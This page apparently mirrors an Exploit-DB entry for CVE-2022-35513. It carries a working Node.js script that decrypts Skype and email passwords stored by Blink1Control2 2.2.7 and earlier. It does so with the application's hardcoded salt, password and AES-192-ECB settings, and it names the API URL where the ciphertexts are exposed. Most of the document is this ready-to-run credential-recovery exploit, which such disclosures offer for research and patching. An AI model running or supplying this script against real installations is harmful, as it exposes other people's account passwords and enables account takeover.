Blink1Control2 2.2.7 – Weak Password Encryption - 体验盒子

作者： p1ckzi

日期： 2022-09-20

类别：

local

平台：

multiple

来源：https://www.exploit-db.com/exploits/51014/

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

36

37

38

39

40

41

42

43

44

45

46

47

48

49

50

51

52

53

54

55

56

57

58

59

60

61

62

63

64

65

66

67

68

// Exploit Title: Blink1Control2 2.2.7 - Weak Password Encryption

// Date: 2022-08-12

// Exploit Author: p1ckzi

// Vendor Homepage: https://thingm.com/

// Software Link: https://github.com/todbot/Blink1Control2/releases/tag/v2.2.7

// Vulnerable Version: blink1control2 <= 2.2.7

// Tested on: Ubuntu Linux 20.04, Windows 10, Windows 11.

// CVE: CVE-2022-35513

//

// Description:

// the blink1control2 app (versions <= 2.2.7) utilises an insecure method

// of password storage which can be found by accessing the /blink1/input url

// of the api server.

// password ciphertext for skype logins and email are listed

// and can be decrypted. example usage:

// node blink1-pass-decrypt <ciphertext>

#!/usr/bin/env node

const {ArgumentParser} = require('argparse');

const simpleCrypt = require('simplecrypt');

function exploit() {

const BANNER = '\033[36m\n\

_ _ _ __\n\

| |__ | (_)_ __ | | _/ |_ __ __ _ ___ ___\n\

| \'_ \\| | | \'_ \\| |/ | |_____| \'_ \\ / _<code> / __/ __|_____\n\

| |_) | | | | | | <| |_____| |_) | (_| \\__ \\__ |_____|\n\

|_.__/|_|_|_| |_|_|\\_|_| | .__/ \\__,_|___|___/\n\

|_|\n\

__\n\

__| | ______ _ __ _ _ _ __ | |_\n\

/ _</code> |/ _ \\/ __| \'__| | | | \'_ \\| __|\n\

| (_| |__| (__| || |_| | |_) | |_\n\

\\__,_|\\___|\\___|_| \\__, | .__/ \\__|\n\

|___/|_|\033[39m';

const PARSER = new ArgumentParser({

description: 'decrypts passwords found at the /blink/input url '

+ 'of the blink1control2 api server (version <= 2.2.7 ).'

});

PARSER.add_argument('ciphertext', {

help: 'encrypted password string to use', type: 'str'

});

let args = PARSER.parse_args();

// supplied ciphertext is decrypted with same salt, password, and method

// used for encryption:

try {

let crypt = simpleCrypt({

salt: 'boopdeeboop',

password: 'blink1control',

method: 'aes-192-ecb'

});

let ciphertext = args.ciphertext;

let decrypted = crypt.decrypt(ciphertext);

console.log(BANNER);

console.log('\033[32m[+] decrypted password:\033[39m');

console.log(decrypted);

}

catch (TypeError) {

console.log('\033[33m[!] the submitted hash was invalid.\033[39m');

}

finally {

process.exit(1);

}

exploit()